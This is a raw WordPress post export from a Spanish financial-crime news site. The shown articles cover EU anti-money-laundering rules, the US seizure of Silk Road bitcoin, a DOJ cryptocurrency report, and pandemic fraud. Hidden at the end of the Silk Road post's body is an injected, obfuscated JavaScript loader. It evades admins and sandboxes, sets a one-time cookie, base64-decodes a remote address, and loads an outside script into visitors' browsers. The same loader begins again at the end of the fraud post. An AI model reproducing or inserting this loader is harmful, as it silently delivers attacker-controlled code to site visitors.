dinero (AMLD5) en la legislaci\u00f3n nacional, la comisi\u00f3n debe primero revisar un pa\u00eds, luego enviar un dictamen, luego remitir el asunto al Tribunal de Justicia de la UE y luego finalmente puede comenzar a imponer sanciones monetarias por incumplimiento.\n\nEn febrero, justo en el momento en que la pandemia de COVID-19 comenz\u00f3 a aflorar, la Comisi\u00f3n Europea envi\u00f3 cartas de notificaci\u00f3n formal a Chipre, Hungr\u00eda, los Pa\u00edses Bajos, Portugal, Rumania, Eslovaquia, Eslovenia y Espa\u00f1a por no haber notificado ninguna medida de implementaci\u00f3n para la nueva directiva.\n\n<b><u>Incluso mientras la pandemia contin\u00faa, las autoridades no permitir\u00e1n que los pa\u00edses la usen como excusa en materia de ALD\/CFT<\/u><\/b>\n\nLos funcionarios tampoco est\u00e1n dejando que los pa\u00edses se salgan del apuro debido a la pandemia.\n\n\u201cLa lucha contra el lavado de dinero es tan relevante ahora como antes de la pandemia de coronavirus\u201d, afirm\u00f3 la comisi\u00f3n. \"De hecho, los delitos relacionados con el coronavirus y el lavado de sus ganancias van en aumento, seg\u00fan Europol y las autoridades policiales nacionales\".\n\nAsegurar la transposici\u00f3n correcta y oportuna de las normas ALD\/CFT existentes es una de las acciones previstas por la Comisi\u00f3n en su Plan de Acci\u00f3n de seis puntos publicado en mayo.\n\nEso podr\u00eda ser un desaf\u00edo con m\u00e1s presi\u00f3n proveniente del supervisor ALD\/CFT de la UE, una fecha l\u00edmite inminente para algunos, pero un cambio bienvenido por otros.\n\n\"Estoy encantado de que los ministros de finanzas hayan adoptado conclusiones sobre el Plan de Acci\u00f3n contra el Lavado de Dinero de la Comisi\u00f3n de mayo de 2020\", dijo el vicepresidente ejecutivo de la Comisi\u00f3n de la UE, Valdis Dombrovskis, y agreg\u00f3 que el esfuerzo ser\u00e1 una \"base ambiciosa para preparar un paquete de propuestas legales ALD\/CFT en el primer trimestre de 2021\".\n\n\u201cEl lavado de dinero erosiona la confianza en nuestros bancos e instituciones financieras, en nuestras autoridades y gobiernos\u201d, dijo. \u201cEl dinero sucio es altamente m\u00f3vil y esto hace que sea un desaf\u00edo complejo de manejar. Es por eso que debemos abordar este problema de manera coherente a nivel de la UE y estamos decididos a hacerlo\".","post_title":"La UE crear\u00e1 un nuevo regulador ALD\/CFT para todo el bloque con autoridad para revisar y sancionar a las instituciones","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"la-ue-creara-un-nuevo-regulador-ald-cft-para-todo-el-bloque-con-autoridad-para-revisar-y-sancionar-a-las-instituciones","to_ping":"","pinged":"","post_modified":"2020-11-17 19:26:59","post_modified_gmt":"2020-11-17 23:26:59","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25351","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25324,"post_author":"16","post_date":"2020-11-10 12:14:36","post_date_gmt":"2020-11-10 16:14:36","post_content":"https:\/\/youtu.be\/bHmZmpSdSjQ\n\n\u201cSilk Road era el mercado criminal en l\u00ednea m\u00e1s notorio de su \u00e9poca\u201d, dijo el fiscal federal de EE.UU. David L. Anderson. \u201cEl enjuiciamiento exitoso del fundador de Silk Road en 2015 dej\u00f3 abierta una pregunta de mil millones de d\u00f3lares. \u00bfA d\u00f3nde fue el dinero? La denuncia de decomiso de la semana pasada responde a esta pregunta abierta al menos en parte. Mil millones de d\u00f3lares de estos ingresos delictivos est\u00e1n ahora en posesi\u00f3n de los Estados Unidos\".\n\n<img width=\"640\" height=\"360\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-1024x576.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-1024x576.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-300x169.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-768x432.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-750x422.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia.png 1266w\" sizes=\"(max-width: 640px) 100vw, 640px\">\n\n\u201cSilk Road era el mercado criminal en l\u00ednea m\u00e1s notorio de su \u00e9poca\u201d, dijo el fiscal federal de EE.UU. David L. Anderson. \u201cEl enjuiciamiento exitoso del fundador de Silk Road en 2015 dej\u00f3 abierta una pregunta de mil millones de d\u00f3lares. \u00bfA d\u00f3nde fue el dinero? La denuncia de decomiso de la semana pasada responde a esta pregunta abierta al menos en parte. Mil millones de d\u00f3lares de estos ingresos delictivos est\u00e1n ahora en posesi\u00f3n de los Estados Unidos\".\n\nLa semana pasada, el Departamento de Justicia de EE.UU. present\u00f3 una demanda de decomiso civil contra la incautaci\u00f3n m\u00e1s grande de activos digitales por un valor total de m\u00e1s de US$1.000 millones. Los agentes de ley utilizaron herramientas y asistencia de la firma Chainalysis en la investigaci\u00f3n para identificar las billeteras de criptomonedas m\u00e1s grandes con conexiones a Silk Road, el primer mercado moderno de la dark web, lo que les permiti\u00f3 generar pistas a partir de la evidencia en la cadena de bloques. Este Bitcoin se transfiri\u00f3 sin problemas a una billetera controlada por el gobierno que, si se descomisa, se mover\u00e1 al Fondo de Confiscaci\u00f3n del Tesoro (TFF). El TFF financia programas innovadores de aplicaci\u00f3n de la ley, como herramientas de an\u00e1lisis de blockchain y capacitaci\u00f3n, que ayudar\u00e1n a los agentes a identificar y apoderarse de m\u00e1s fondos il\u00edcitos. A principios de este a\u00f1o, las agencias de aplicaci\u00f3n de la ley presentaron acciones de decomiso civil similares contra criptoactivos relacionados con el financiamiento del terrorismo y las actividades de pirater\u00eda de Corea del Norte.\n\n<img width=\"640\" height=\"360\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-1024x576.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-1024x576.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-300x169.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-768x432.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-750x422.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1.png 1280w\" sizes=\"(max-width: 640px) 100vw, 640px\">\n\n\u201cEl producto del delito no debe quedar en manos de los delincuentes. Gracias a la experiencia de la divisi\u00f3n de Investigaci\u00f3n Criminal de la Agencia de Rentas de EE.UU. (IRS-CI) en el seguimiento del dinero, pudimos rastrear los fondos il\u00edcitos\u201d, dijo Kelly R. Jackson, agente especial a cargo del IRS-CI. \"La Unidad de Delitos Cibern\u00e9ticos de Washington DC est\u00e1 especialmente especializada en rastrear transacciones de moneda virtual y continuaremos perfeccionando nuestras habilidades para combatir la actividad ilegal\".\n\nEl 3 de noviembre, el bot de Twitter @Whale_alert marc\u00f3 una gran transacci\u00f3n de 69,369 BTC, lo que llev\u00f3 a muchos a especular si la billetera inactiva conectada a Silk Road hab\u00eda sido pirateada o si el propietario ejecut\u00f3 la transacci\u00f3n. De hecho, esta fue la incautaci\u00f3n de los fondos por parte de la polic\u00eda cuando movieron el Bitcoin a la billetera controlada por el gobierno. Esta billetera ahora est\u00e1 etiquetada en los productos de Chainalysis como \"Fondos incautados de Silk Road Marketplace 2020-11-03\".\n\n<b><u>Antecedentes de Silk Road<\/u><\/b>\n\nSilk Road fue el primer mercado importante de redes oscuras digitales en el que los usuarios del sitio compraban y vend\u00edan bienes y servicios il\u00edcitos, incluidas las drogas ilegales. En 2013, las fuerzas del orden cerraron Silk Road y arrestaron a su propietario y operador, Ross Ulbricht, tambi\u00e9n conocido como \"Dread Pirate Roberts\".\n<figure>\n\t\t\t\t\t\t\t\t\t\t<img width=\"640\" height=\"308\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-1024x492.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-1024x492.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-300x144.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-768x369.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-1536x738.png 1536w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-750x360.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-1140x548.png 1140w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity.png 1544w\" sizes=\"(max-width: 640px) 100vw, 640px\"><figcaption>Nota: Este gr\u00e1fico refleja el monto en US$ movidos y la participaci\u00f3n del volumen total asociado con Silk Road. FUENTE: Chainalysis<\/figcaption><\/figure>\nSeg\u00fan los datos de Chainalysis, Silk Road represent\u00f3 casi el 20% de la actividad econ\u00f3mica total de Bitcoin en su punto m\u00e1ximo en 2013. La actividad econ\u00f3mica de Silk Road alcanz\u00f3 un total de US$ 435 millones (calculado con base en el precio de Bitcoin en ese momento) con un pico de poco menos de US$ 40 millones en volumen mensual en septiembre de 2013.\n\nSeg\u00fan las acusaciones de la demanda de decomiso civil, desde 2011 hasta octubre de 2013, cuando fue confiscado por las fuerzas del orden, Silk Road era el mercado criminal m\u00e1s sofisticado y extenso de Internet. Era utilizado como un bazar del mercado negro en expansi\u00f3n donde los usuarios del sitio compraban y vend\u00edan bienes y servicios ilegales con regularidad. La denuncia alega que mientras estaba en funcionamiento, Silk Road fue utilizado por miles de traficantes de drogas y otros vendedores ilegales para distribuir cientos de kilogramos de drogas, as\u00ed como otros bienes y servicios ilegales a m\u00e1s de 100.000 compradores, y para lavar cientos de millones de d\u00f3lares derivados de estas transacciones ilegales.\n\nAl momento de ser desmantelado en 2013, Silk Road ten\u00eda casi 13.000 listas de sustancias ilegales y muchos m\u00e1s listados que ofrec\u00edan servicios ilegales, como pirater\u00eda inform\u00e1tica y servicios de sicarios, que generaban ingresos por ventas por un total de m\u00e1s de 9,5 millones de Bitcoins y comisiones por estas ventas por un total de m\u00e1s de 600.000 Bitcoins. La denuncia tambi\u00e9n alega que Silk Road utiliz\u00f3 un \"tumbler\" para procesar transacciones de Bitcoin de una manera dise\u00f1ada para frustrar el seguimiento de transacciones individuales a trav\u00e9s de la cadena de bloques de criptomonedas.\n\nEl creador de Silk Road, Ross Ulbricht, luego de su arresto en San Francisco, fue condenado en 2015 por un jurado federal de Nueva York por siete cargos criminales, incluida la conspiraci\u00f3n para distribuir narc\u00f3ticos y lavado de dinero.\n\n<b><u>C\u00f3mo las fuerzas del orden identificaron y confiscaron los fondos<\/u><\/b>\n\nA principios de este a\u00f1o, los agentes del IRS-CI analizaron las transacciones de bitcoins ejecutadas por Silk Road e identificaron 54 transacciones de bitcoins no detectadas previamente. Tambi\u00e9n descubrieron que un hacker, conocido como Individual X, rob\u00f3 esos fondos de Silk Road.\n\nEn el gr\u00e1fico de Chainalysis Reactor debajo, vemos que el dinero de Silk Road va a otra billetera (1BADzn\u2026), y a la billetera del individuo X (1HQ3Go\u2026). En 2015, el Individuo X liquid\u00f3 algunos de los fondos robados en BTC-e, un intercambio de criptomonedas que fue incautado por las autoridades estadounidenses en 2017 por lavado de dinero. Pero la mayor\u00eda de los fondos robados se mantuvieron en la billetera del Individuo X a medida que sub\u00eda el precio de Bitcoin, hasta la semana pasada, cuando fueron incautados y trasladados a la billetera del gobierno de EE. UU. Ahora valen m\u00e1s de US$1.000 millones.\n<figure>\n\t\t\t\t\t\t\t\t\t\t<img width=\"640\" height=\"274\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-1024x438.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-1024x438.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-300x128.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-768x328.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-750x321.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-1140x487.png 1140w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor.png 1432w\" sizes=\"(max-width: 640px) 100vw, 640px\">\n\n<figcaption>A trav\u00e9s de Chainalysis Reactor se sigui\u00f3 el dinero de Silk Road a otra billetera (1BADzn\u2026), a la billetera del Individuo X (1HQ3Go\u2026).<\/figcaption><\/figure>\nEste es otro ejemplo m\u00e1s de c\u00f3mo los investigadores pueden aprovechar las caracter\u00edsticas de la criptomoneda para seguir el flujo de fondos il\u00edcitos. Si bien este caso es notable por el valor de los fondos incautados, tambi\u00e9n muestra que las agencias gubernamentales que invierten en el an\u00e1lisis de blockchain no solo pueden usar esa tecnolog\u00eda para la generaci\u00f3n proactiva de pistas y para apuntalar los casos, sino tambi\u00e9n para localizar y confiscar ganancias il\u00edcitas. Tambi\u00e9n demuestra que los ingresos generados en cualquier momento pueden incautarse a\u00f1os despu\u00e9s utilizando evidencia de blockchain.\n\nTambi\u00e9n es notable que la incautaci\u00f3n de mil millones de d\u00f3lares realizada la semana pasada fue enviada y confirmada en cuesti\u00f3n de minutos. A diferencia de otros casos que involucran moneda fiduciaria o propiedad personal, donde la transferencia de posesi\u00f3n del gobierno puede llevar d\u00edas o incluso meses, la criptomoneda aprovecha el poder de la tecnolog\u00eda para transferir fondos en cuesti\u00f3n de minutos.<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","post_title":"Siete a\u00f1os despu\u00e9s del cierre de Silk Road, EE.UU. logra confiscar US$1.000 millones en Bitcoins","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"siete-anos-despues-del-cierre-de-silk-road-ee-uu-logra-confiscar-us1-000-millones-en-bitcoins","to_ping":"","pinged":"","post_modified":"2025-10-24 17:05:20","post_modified_gmt":"2025-10-24 21:05:20","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25324","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25320,"post_author":"16","post_date":"2020-11-10 11:16:53","post_date_gmt":"2020-11-10 15:16:53","post_content":"<p>A principios de este mes, el Departamento de Justicia de EE.UU., a trav\u00e9s de su grupo de trabajo <b>Cyber Digital Task Force<\/b>, public\u00f3 este informe de orientaci\u00f3n criptogr\u00e1fica titulado\u00a0<a style=\"background-color: #ffffff;\" href=\"https:\/\/www.justice.gov\/ag\/page\/file\/1326061\/download\" target=\"_blank\" rel=\"noopener noreferrer\">\"Criptomoneda: un marco de aplicaci\u00f3n\".<\/a><\/p><p>El grupo de trabajo, establecido en 2018, tiene la tarea de evaluar las amenazas planteadas por los avances tecnol\u00f3gicos. Entre otras cosas, un informe inicial destac\u00f3 a la criptomoneda como una amenaza emergente y recomend\u00f3 un examen m\u00e1s detenido. El informe es la versi\u00f3n m\u00e1s acabada del Departamento de Justicia sobre la criptomoneda hasta el momento y tambi\u00e9n sigue una tendencia global general en una mayor claridad en los marcos regulatorios y de aplicaci\u00f3n en torno a las criptomonedas.<\/p><p>A medida que el uso de la criptomoneda evoluciona y se expande, tambi\u00e9n lo har\u00e1n las oportunidades para cometer delitos y hacer da\u00f1o mediante la explotaci\u00f3n de la tecnolog\u00eda de las criptomonedas, los delincuentes se expanden y perfeccionan las t\u00e9cnicas dise\u00f1adas para evadir la detecci\u00f3n.<\/p><p>Los usos il\u00edcitos de las criptomonedas amenazan no solo la seguridad p\u00fablica, sino tambi\u00e9n la seguridad nacional. Por ejemplo, la criptomoneda puede proporcionar a las organizaciones terroristas una herramienta para eludir las instituciones financieras tradicionales con el fin de obtener, transferir y utilizar fondos para avanzar en sus misiones. El uso de la criptomoneda por parte de los terroristas puede representar las primeras gotas de una tormenta inminente de uso expandido que podr\u00eda desafiar la capacidad de Estados Unidos para interrumpir los recursos financieros que permitir\u00edan a las organizaciones terroristas ejecutar exitosamente sus misiones o expandir sus influencias.<\/p><p>Del mismo modo, la criptomoneda presenta una nueva oportunidad preocupante para que las personas y estados esquiven las sanciones internacionales.<\/p>\t\t\n\t\t\t\t\t\t\t<figure>\n\t\t\t\t\t\t\t\t\t\t<img width=\"640\" height=\"360\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-1024x576.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-1024x576.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-300x169.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-768x432.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-750x422.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-1140x641.png 1140w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping.png 1280w\" sizes=\"(max-width: 640px) 100vw, 640px\" \/>\t\t\t\t\t\t\t\t\t\t\t<figcaption>Ejemplo de Chain Hopping<\/figcaption>\n\t\t\t\t\t\t\t\t\t\t<\/figure>\n\t\t<p><b><u>Desaf\u00edos<\/u><\/b><\/p><p>Este informe concluye en la Parte III con una discusi\u00f3n de los desaf\u00edos actuales que enfrenta el gobierno en la aplicaci\u00f3n de la criptomoneda, particularmente con respecto a los modelos comerciales (empleados por ciertos intercambios, plataformas, quioscos y casinos de criptomonedas) y a la actividad (como mixing\u201d and \u201ctumbling,\u201d \u201cchain hopping,\u201d y ciertos casos de arbitraje jurisdiccional) que pueden facilitar la actividad delictiva.<\/p><p>Esos desaf\u00edos se corresponden claramente con el conjunto m\u00e1s amplio de desaf\u00edos que presentan muchas tecnolog\u00edas emergentes para las agencias de aplicaci\u00f3n de la ley.<\/p><p><b><u>ICOs <\/u><\/b><\/p><p>Las tecnolog\u00edas relacionadas con Blockchain son complejas y dif\u00edciles de entender; por ejemplo, los m\u00e9todos para ejecutar delitos como los esquemas pump and dump (de bombeo y descarga) est\u00e1n cambiando y requieren que los investigadores se familiaricen con todo, desde c\u00f3mo se realizan las ofertas iniciales de monedas (Initial Coin Offerings, ICO) hasta c\u00f3mo las personas con conocimientos tecnol\u00f3gicos se comunican en aplicaciones de comunicaciones especializadas. Estas tecnolog\u00edas emergentes no solo son dif\u00edciles de asimilar, sino que los mercados relevantes tambi\u00e9n evolucionan r\u00e1pidamente. El auge de las ICO de hace unos a\u00f1os ha dado paso al crecimiento exponencial de los mercados de finanzas descentralizadas en los \u00faltimos meses, con todas las complejidades y dificultades asociadas para los agentes de ley.<\/p><p><b>Blockchain<\/b><\/p><p>La naturaleza global del ecosistema <i>blockchain<\/i> agrega una capa adicional de complejidad. El crimen organizado se ha extendido m\u00e1s all\u00e1 de las fronteras nacionales durante a\u00f1os, pero <i>blockchain<\/i> lleva esta globalizaci\u00f3n a otro nivel. Las partes realizan transacciones y transferencias entre continentes en cuesti\u00f3n de minutos, y la infraestructura digital de la propia cadena de bloques casi siempre trasciende los l\u00edmites territoriales. Adem\u00e1s de la dificultad, algunos de los intercambios de criptoactivos m\u00e1s grandes operan fuera de Estados Unidos, y muchos todav\u00eda requieren nada m\u00e1s que una direcci\u00f3n de correo electr\u00f3nico no verificada antes de permitir que una persona comience a operar.<\/p><p><b><u>Peer to Peer<\/u><\/b><\/p><p>Finalmente, las plataformas descentralizadas, los cambistas peer-to-peer (entre pares) y las criptomonedas con anonimato mejorado que utilizan cadenas de bloques privadas o no p\u00fablicas pueden ocultar a\u00fan m\u00e1s las transacciones financieras del escrutinio leg\u00edtimo. Los desaf\u00edos son importantes.<\/p>\t\t\n\t\t\t\t\t\t\t<figure>\n\t\t\t\t\t\t\t\t\t\t<img width=\"640\" height=\"351\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis-1024x561.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis-1024x561.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis-300x164.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis-768x421.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis.png 1216w\" sizes=\"(max-width: 640px) 100vw, 640px\" \/>\t\t\t\t\t\t\t\t\t\t\t<figcaption>Ejemplo de una transacci\u00f3n il\u00edcita a trav\u00e9s del an\u00e1lisis de blockchain<\/figcaption>\n\t\t\t\t\t\t\t\t\t\t<\/figure>\n\t\t<p><b><u>Investigaciones y procesamientos<\/u><\/b><\/p><p>A pesar de los muchos desaf\u00edos, el Departamento de Justicia ha investigado y procesado delincuentes que han usado criptomonedas para facilitar u ocultar sus actividades il\u00edcitas, EE.UU. ha entablado acciones contra personas y empresas que no han cumplido con sus obligaciones legales para evitar actividades il\u00edcitas. En casos particulares, el Departamento de Justicia ha procedido contra la propia criptomoneda il\u00edcita, confiscando esos activos virtuales y elimin\u00e1ndolos del flujo del comercio internacional, independientemente de su capacidad para identificar o aprehender a los actores que los utilizaron.<\/p><p>El Departamento de Justicia se\u00f1al\u00f3 que est\u00e1 comprometido a fortalecer sus asociaciones clave con la promoci\u00f3n de experiencia y conocimiento en materia de aplicaci\u00f3n de la ley; fomentando la cooperaci\u00f3n con las autoridades estatales; mejorando la cooperaci\u00f3n internacional; promoviendo una regulaci\u00f3n internacional integral y coherente; y llevando a cabo actividades de educaci\u00f3n y divulgaci\u00f3n del sector privado.<\/p><p>Para promover la seguridad todas las partes interesadas, desde la industria privada hasta los reguladores, funcionarios y usuarios individuales de criptomonedas, deber\u00e1n tomar medidas para garantizar que la criptomoneda no se utilice como plataforma para la ilegalidad. Se\u00f1ala el Departamento de Justicia que para que la criptomoneda adquiera su verdadero potencial transformador, es imperativo que se aborden estos riesgos.<\/p>","post_title":"Informe del DOJ sobre Criptomonedas: un marco de aplicaci\u00f3n","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"informe-del-doj-sobre-criptomonedas-un-marco-de-aplicacion","to_ping":"","pinged":"","post_modified":"2020-11-10 11:21:26","post_modified_gmt":"2020-11-10 15:21:26","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25320","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25317,"post_author":"16","post_date":"2020-11-10 09:49:27","post_date_gmt":"2020-11-10 13:49:27","post_content":"<p><b><img src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/5Steps-Small-10NOV2020.jpg\" alt=\"\" width=\"232\" height=\"300\" \/><\/b><\/p><p><b>Por Terry Luttrell, CAMS-Audit<\/b><\/p><p>A medida que 2020 llega a su fin, las empresas y\u00a0comunidades de todo el mundo no pueden negar los efectos de la pandemia de COVID-19. La devastaci\u00f3n financiera, as\u00ed como la p\u00e9rdida de vidas y el deterioro de la salud, han dejado su sello. Hist\u00f3ricamente, los desastres naturales de cualquier tipo han sacado a los estafadores a la luz para exponerlos ante lo que parece ser un grupo interminable de v\u00edctimas vulnerables.<\/p><p>La Oficina Federal de Investigaciones de EE.UU. (FBI) se\u00f1ala que cuanto m\u00e1s catastr\u00f3fico es el evento, m\u00e1s activos son los estafadores. COVID-19 es posiblemente el peor desastre mundial en d\u00e9cadas, y se ha detectado un aumento del fraude a gran escala. Si bien algunos de los esquemas de fraude no son nuevos, se han transformado para aprovecharse de comunidades que ya se enfrentan a una situaci\u00f3n sin precedentes. \u00bfC\u00f3mo se est\u00e1 moviendo su organizaci\u00f3n para fortalecer su programa antifraude para mitigar estos mayores riesgos?<\/p><p>Seg\u00fan las estad\u00edsticas hist\u00f3ricas de desastres, el Departamento de Justicia de EE.UU. espera que el fraude generalizado aumente entre un 10% y un 12% debido al COVID-19. En una encuesta reciente realizada por la Asociaci\u00f3n de Examinadores de Fraude Certificados, el 77% de los miembros encuestados dijo que ha observado un aumento en el nivel general de fraude, y un tercio se\u00f1al\u00f3 que este aumento ha sido significativo. Eso es notablemente m\u00e1s alto que en mayo de 2020, cuando el 68% de los encuestados hab\u00eda visto un aumento en el fraude, y una cuarta parte calific\u00f3 el aumento como significativo.<\/p><p>La pandemia ha creado la necesidad de que las organizaciones examinen sus programas antifraude para determinar si existe una mayor exposici\u00f3n al riesgo que se deba abordar. La ayuda financiera que generalmente sigue a los desastres conduce, lamentablemente, a un mayor riesgo de fraude. Cuantos m\u00e1s fondos para ingresan a la econom\u00eda, ya sea por huracanes, incendios forestales o una pandemia, mayor ser\u00e1 la presencia de delincuentes. Por lo tanto, si bien COVID-19 es el detonante actual de la tendencia al alza del fraude, las organizaciones deben posicionarse para evitar aumentos futuros. Como individuos, tenemos experiencia; sabemos qu\u00e9 hacer para disuadir el fraude y mitigar el riesgo. Sin embargo, combatir los riesgos y anticipar la evoluci\u00f3n de los riesgos en el entorno actual requiere un esfuerzo concertado de las organizaciones para reforzar sus programas antifraude.<\/p><p><strong><a style=\"background-color: #ffffff; color: #993300; text-decoration: underline;\" href=\"https:\/\/www.abrigo.com\/l\/5-steps-to-stronger-fraud-mitigation\/?utm_source=acfcs&utm_medium=affiliate&utm_campaign=october_whitepaper\" target=\"_blank\" rel=\"noopener noreferrer\">Descargue el documento completo<\/a><\/strong>\u00a0(en ingl\u00e9s) para conocer los 5 pasos para mejorar su programa de detecci\u00f3n de fraude durante la pandemia COVID-19.<\/p><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var 